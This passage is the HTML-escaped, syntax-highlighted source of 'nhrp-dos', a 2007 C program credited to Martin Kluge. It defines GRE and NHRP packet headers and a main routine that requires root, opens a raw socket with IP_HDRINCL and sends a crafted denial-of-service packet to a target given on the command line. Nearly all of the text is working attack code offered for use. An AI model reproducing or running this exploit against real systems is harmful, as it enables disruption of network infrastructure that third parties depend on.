&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;resolve_ip&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;get_int_ipv4&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Globals */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; sockfd;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; nhrp_req_id;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* GRE header */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; gre_h {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; flags;   &lt;span style=&#34;color:#75715e&#34;&gt;/* GRE flags */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; ptype;   &lt;span style=&#34;color:#75715e&#34;&gt;/* GRE protocol type */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;   key;     &lt;span style=&#34;color:#75715e&#34;&gt;/* GRE key */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP header */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; nhrp_h {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP fixed header (20 bytes) */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; afn;             &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP AFN */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; proto;           &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP protocol type */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;   snap;            &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP SNAP */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; snapE:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;         &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP SNAP */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; hops:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;          &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP hop count */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; length;          &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP total length */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; checksum;        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP checksum */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; mpoa_ext;        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP MPOA extensions */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; version:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;       &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP version */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; type:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;          &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP type */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; nbma_addr:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;     &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP t/l of NBMA address */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; nbma_sub:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;      &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP t/l of NBMA subaddr */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} fixed;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP mandatory part */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; src_len:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;       &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP src protocol length */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; dst_len:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;       &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP dest protocol length */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; flags;           &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP flags */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;   request_id;      &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP request ID */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt;  client_nbma;     &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP client NBMA address */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt;  client_nbma_sub; &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP client NBMA subaddr */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt;  client_pro_addr; &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP client protocol addr */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} mand;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP client information entries (CIE) */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;union&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; code:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;          &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP code */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; pref_len:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;      &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP prefix length */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; reserved;        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP reserved */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; mtu;             &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP MTU */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; holding_time;    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP holding time */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; len_client:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP t/l cl addr */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; len_client_sub:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP t/l cl sub */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; len_client_pro:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP t/l cl pro */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; preference:&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;;    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP preference */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;short&lt;/span&gt; ext;             &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP extension */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} cie;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Main function */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;main&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; argc, &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;**&lt;/span&gt;argv) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Check command line */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(argc &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;nhrp-dos (c) by Martin Kluge &amp;lt;mk@elxsi.de&amp;gt;, 2007&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;------------------------------------------------&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Usage: ./nhrp-dos &amp;lt;device&amp;gt; &amp;lt;target&amp;gt; &amp;lt;GRE key&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;(Set GRE key = 0 to disable GRE keys!)&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_FAILURE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Check UID */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;getuid&lt;/span&gt;() &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;geteuid&lt;/span&gt;() &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Error: Please run as root!&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_FAILURE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Open a socket */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sockfd &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;open_socket&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Send DoS packet */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;send_dos&lt;/span&gt;(sockfd, &lt;span style=&#34;color:#a6e22e&#34;&gt;get_int_ipv4&lt;/span&gt;(argv[&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;]), &lt;span style=&#34;color:#a6e22e&#34;&gt;resolve_ip&lt;/span&gt;(argv[&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;]), &lt;span style=&#34;color:#a6e22e&#34;&gt;atoi&lt;/span&gt;(argv[&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;]));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Close the socket */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;close_socket&lt;/span&gt;(sockfd);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_SUCCESS);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Open the socket */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;open_socket&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; fd;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; one &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;ptr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;one;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Open the socket */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fd &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;socket&lt;/span&gt;(AF_INET, SOCK_RAW, IPPROTO_UDP);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(fd &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Error: open_socket: Unable to open socket.&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_FAILURE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Set IP_HDRINCL to include the IPv4 header in outgoing packets. */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Otherwise it would be done by the kernel. */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;setsockopt&lt;/span&gt;(fd, IPPROTO_IP, IP_HDRINCL, ptr, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(one)) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Error: open_socket: setsockopt failed.&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_FAILURE);
